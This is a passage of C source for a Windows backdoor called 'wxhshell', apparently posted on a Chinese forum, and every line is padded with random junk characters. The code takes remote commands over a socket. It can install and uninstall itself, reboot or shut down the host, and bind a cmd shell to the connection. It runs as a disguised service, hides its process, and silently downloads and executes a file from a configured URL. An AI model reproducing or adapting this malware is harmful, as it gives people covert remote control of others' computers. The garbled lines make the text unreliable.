      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1c<CEq:?e%  
    break; 66^1&D"  
  } in=k:j,U0  
  // 安装 )}k?r5g  
  case 'i': { c{m ;"ZCFS  
    if(Install()) gCk y(4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =E{{/%u{{S  
    else 9%3 r-U=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F$6])F  
    break; S1H47<)UF  
    } zulf%aaL  
  // 卸载 a O"nD_7  
  case 'r': { h 0QYoDvbC  
    if(Uninstall()) ctc`^#q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!*8JaMT  
    else JGSk4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }l]3m=)  
    break; pU:C =hq4  
    } A/$KA'jX  
  // 显示 wxhshell 所在路径 A1k&` |k   
  case 'p': { PNxVW  
    char svExeFile[MAX_PATH]; [/+dHW|  
    strcpy(svExeFile,"\n\r"); #U!(I#^3  
      strcat(svExeFile,ExeFile); Kbz7  
        send(wsh,svExeFile,strlen(svExeFile),0); 8CnI%_Su  
    break; -KIVnV=&m  
    } A<YZBR_  
  // 重启 P[#WHbn  
  case 'b': { qOcG|UgF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aV?}+Y{#  
    if(Boot(REBOOT)) skR, M=F~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?f,~Y<k  
    else { g6@NPQ  
    closesocket(wsh); /v bO/Mr  
    ExitThread(0); RXx?/\~yd;  
    } qa0JQ_?o]  
    break; r_g\_y7ua  
    } Cb@S </b  
  // 关机 _} X`t8Lh  
  case 'd': { vHI"C %  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kc9mI>uH  
    if(Boot(SHUTDOWN)) XC$+ `?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?(,5eg  
    else { $@u^Jt, ?  
    closesocket(wsh); 1VjeP *  
    ExitThread(0); /SqFP L]  
    } M|Dwk3#  
    break; 3'sWlhf;  
    } xPfnyAo?%z  
  // 获取shell d,oOn.n&  
  case 's': { +4:+qGAJ{  
    CmdShell(wsh); *(\;}JF-  
    closesocket(wsh); 3|83Jnh  
    ExitThread(0); t0asW5f  
    break; 2LxVt@_R!%  
  } OuBMVn  
  // 退出 eX l%Qs#Y  
  case 'x': { vY0V{u?J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LG&Q>pt.  
    CloseIt(wsh); '#4mDz~  
    break; d'AviW>  
    } E9Xk8w'+  
  // 离开 /_k hFw  
  case 'q': { qh(-shZ4Du  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UwL"%0u  
    closesocket(wsh); jzJ1+/9  
    WSACleanup(); ]!tYrSM!  
    exit(1); y9G57D  
    break; Cj4b]*Q,  
        } YAC zznN  
  }  +s R *d  
  } o wpJ7S1~  
#`vGg9  
  // 提示信息 #Rm=Em}d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Pb 1QLiz  
} d"d)<f   
  } DO-K  
Ji}IV  
  return; (y+5d00  
} qT<qu(V:  
rCSG@D.  
// shell模块句柄 [-Dgo1}Qr  
int CmdShell(SOCKET sock) AXU!-er$  
{ Acq>M^E3  
STARTUPINFO si; |L_g/e1A3  
ZeroMemory(&si,sizeof(si)); cdtzf:#q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HyX4ob[X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1M~:]}*<  
PROCESS_INFORMATION ProcessInfo; .{]c&Ef+f  
char cmdline[]="cmd"; 8 {4D|o#O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $L#Z?76v  
  return 0; :AE;x&  
} <j8&u/Za~'  
fkv{\zN  
// 自身启动模式 l#vw L15  
int StartFromService(void) Q RmQ>  
{ g*AD$":  
typedef struct u&d v[  
{ sO4}kxZ  
  DWORD ExitStatus; ! ?U^+)^$  
  DWORD PebBaseAddress; Mevyj;1t  
  DWORD AffinityMask; Pl5NHVr  
  DWORD BasePriority; (+Kof  
  ULONG UniqueProcessId; '3_B1iAv  
  ULONG InheritedFromUniqueProcessId; = a.n`3`Q  
}   PROCESS_BASIC_INFORMATION; %]sEt{  
]BQWA  
PROCNTQSIP NtQueryInformationProcess; hPXVPLm7I  
a9EI7pnq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6 9I.*[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E5[]eg~w%{  
)|^<woli,  
  HANDLE             hProcess; 5wFS.!xD  
  PROCESS_BASIC_INFORMATION pbi; `E0.PV  
AGJ=de.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8.%a"sxr  
  if(NULL == hInst ) return 0; cA*X$j6  
q(PT'z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >A(?Pn{|a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g@6X|W5,J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wR<QeH'V  
:-W CW);N  
  if (!NtQueryInformationProcess) return 0; Jgv>$u  
`~+a=Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O7'^*"S  
  if(!hProcess) return 0; BM$tywC  
, a_{ Y+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0)Xue9AS  
aj'8;E+  
  CloseHandle(hProcess); }L7F g%,  
J'^$|/Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yJ`1},^  
if(hProcess==NULL) return 0; j!_^5d#d  
Rb}&c)4  
HMODULE hMod; R6@~   
char procName[255]; a~eLkWnh<k  
unsigned long cbNeeded; @?cXa: tX  
b= ec?n #7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6M vR R  
7 }MJK)  
  CloseHandle(hProcess); -0IFPL8  
V45Udwp ^  
if(strstr(procName,"services")) return 1; // 以服务启动 |e; z"-3  
>iWf7-:  
  return 0; // 注册表启动 Cv(N5mA2  
} ^]!1'xg  
Yl~?MOk  
// 主模块 2c`=S5  
int StartWxhshell(LPSTR lpCmdLine) sS2E8Z2  
{ "KE38`NL  
  SOCKET wsl; TN@JPoH  
BOOL val=TRUE; O+Lb***b"  
  int port=0; 5b4V/d* '  
  struct sockaddr_in door; . .je<   
H{Y=&#%d  
  if(wscfg.ws_autoins) Install(); I)%jPH:ua  
(5DGs_>  
port=atoi(lpCmdLine); Vh9s.=*P@  
="[](X^ l  
if(port<=0) port=wscfg.ws_port; $JSC+o(q3#  
QZa#i L  
  WSADATA data; _3G)S+ 7#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +X(^Q@  
Bsk2&17z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o^"3C1j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0?;Hmq3  
  door.sin_family = AF_INET; [T#a1!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4e\`zy  
  door.sin_port = htons(port); JEF7hJz~  
YM* 6W?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gw"l& r  
closesocket(wsl); %oKqK >S)  
return 1; ~Q 9)Q  
} z2q5f :d8  
eh/OCzWH  
  if(listen(wsl,2) == INVALID_SOCKET) { ]S aH/$  
closesocket(wsl); k3.p@8@:  
return 1; JG4*B|3  
} jh](s U  
  Wxhshell(wsl); e^_@^(||!6  
  WSACleanup(); .%b_3s".  
jz7ltoP  
return 0; <Jrb"H[ T"  
W3/Stt$D  
} U5$DJ5>8  
K2 K6  
// 以NT服务方式启动 4_0/]:~5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vg~ kpgB  
{ ^?xJpr%)  
DWORD   status = 0; Z=[a 8CU  
  DWORD   specificError = 0xfffffff; g E+OQWu  
Z3~*R7G8>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'wnY>hN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mKn357:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F1*rUsRKN  
  serviceStatus.dwWin32ExitCode     = 0; #TwE??ms  
  serviceStatus.dwServiceSpecificExitCode = 0; ]3u'Qv}o  
  serviceStatus.dwCheckPoint       = 0; ,(W98}nB  
  serviceStatus.dwWaitHint       = 0; CuO*>g^K[  
CvWEXY_P2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?q}wl\"8  
  if (hServiceStatusHandle==0) return; 3Wxtxk._E  
:bDn.`KG#  
status = GetLastError(); ZboJszNb;  
  if (status!=NO_ERROR) i*w-Q=  
{ 5T3>fw2G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t% B!\]  
    serviceStatus.dwCheckPoint       = 0; RAQ;O  
    serviceStatus.dwWaitHint       = 0; '#::ba[9w  
    serviceStatus.dwWin32ExitCode     = status; J}KktD@!O  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8"UG&wLT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wSF#;lqd  
    return;  CyDf[C)=  
  } lfeWtzOf  
4EbiCSo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^Es)?>eah  
  serviceStatus.dwCheckPoint       = 0; :I(gz~u6  
  serviceStatus.dwWaitHint       = 0; )nxIxr0d-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kzpbs?<;  
} ts!aKx  
<qY>d,+E'  
// 处理NT服务事件,比如:启动、停止 EXzNehO~e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [IA==B7  
{ :FpBz~!a  
switch(fdwControl) L([>yQZ  
{ =,G(1#  
case SERVICE_CONTROL_STOP: ;-^9j)31+F  
  serviceStatus.dwWin32ExitCode = 0; qk1D#1vl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6mpUk.M"  
  serviceStatus.dwCheckPoint   = 0; $%8n,FJ[  
  serviceStatus.dwWaitHint     = 0; \9zC?Cw  
  { yP]W\W'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R3`W#`  
  } {;M/J  
  return; iPpJ`i#@+  
case SERVICE_CONTROL_PAUSE: _cN)q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m48Y1'4  
  break; Vn;] ''_  
case SERVICE_CONTROL_CONTINUE: *tPY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; () ;7+  
  break; q#-H+7 5  
case SERVICE_CONTROL_INTERROGATE: ~0Q72  
  break; Gn4b\y%%  
}; $_5v^QL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4aKy]zPoE  
} j/|qge4  
X&X')hzIt  
// 标准应用程序主函数 0\*<k`dY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %$ ?Q%  
{ d's`~HOU2  
vUeel%  
// 获取操作系统版本 xTm&`Xo  
OsIsNt=GetOsVer(); u5M{s;{11r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x[6Bc  
v"_#.!V  
  // 从命令行安装 4FdH:os  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z@A1+kUS  
RE$-{i  
  // 下载执行文件 |XG7UH  
if(wscfg.ws_downexe) { Kp;o?5H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xrn~ ]P7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Te#[+B?  
} _>64XUZ<n  
Q3Lqj2r  
if(!OsIsNt) { >[=`{B  
// 如果时win9x,隐藏进程并且设置为注册表启动 *.l=> #qF  
HideProc(); ka%pS  
StartWxhshell(lpCmdLine); ox#4|<qM  
} tRCd(Z,WY  
else 3l[hkRFu`  
  if(StartFromService()) IxR:a(  
  // 以服务方式启动 LnX^*;P5t  
  StartServiceCtrlDispatcher(DispatchTable); GefgOlg5"  
else vdzC2T  
  // 普通方式启动 T/5U lW|\  
  StartWxhshell(lpCmdLine); {v(|_j&:o  
kICYPy  
return 0; WfZ#:G9  
}
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只看该作者 1 发表于: 2006-10-10
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